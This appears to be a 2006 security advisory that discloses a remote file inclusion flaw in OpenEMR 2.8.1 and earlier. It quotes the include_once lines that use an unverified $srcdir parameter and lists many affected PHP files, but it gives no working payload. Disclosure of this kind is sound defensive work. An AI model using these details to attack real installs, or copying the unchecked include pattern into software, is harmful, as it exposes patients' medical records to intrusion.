Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv60-theday-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: OpenEMR
version		: <=2.8.1
URL		: http://www.oemr.org

OpenEMR is Open Source electronic medical record and medical practice management software. 
OpenEMR is best described as a "system" of programs. The main OpenEMR program consists of the electronic
health records and scheduling software. 
OpenEMR can also be configured for insurance billing with FreeB, accounting with SQL-Ledger,
and access controls with php-GACL.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in interface/billing/billing_process.php
-----------------------interface/billing/billing_process.php-------------
....
<?
...
include_once("$srcdir/patient.inc");
include_once("$srcdir/billrep.inc");
...
----------------------------------------------------------

Input passed to the "$srcdir" parameter in billing_process.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.


Also affected files :

interface/billing/billing_report.php
interface/billing/billing_report_xml.php
interface/billing/print_billing_report.php
login.php
interface/batchcom/batchcom.php
interface/login/login.php
interface/main/main_info.php
interface/main/main.php
interface/new/new_patient_save.php
interface/practice/ins_search.php
interface/logout.php
interface/reports/custom_report_range.php
interface/reports/players_report.php
interface/reports/front_receipts_report.php
interface/usergroup/facility_admin.php
interface/usergroup/usergroup_admin.php
interface/usergroup/user_info.php

New Vulnerability in OpenEMR Version 2.8.1
----library/translation.inc.php----
<?
....
include_once($GLOBALS['srcdir'] . '/sql.inc');
....
?>
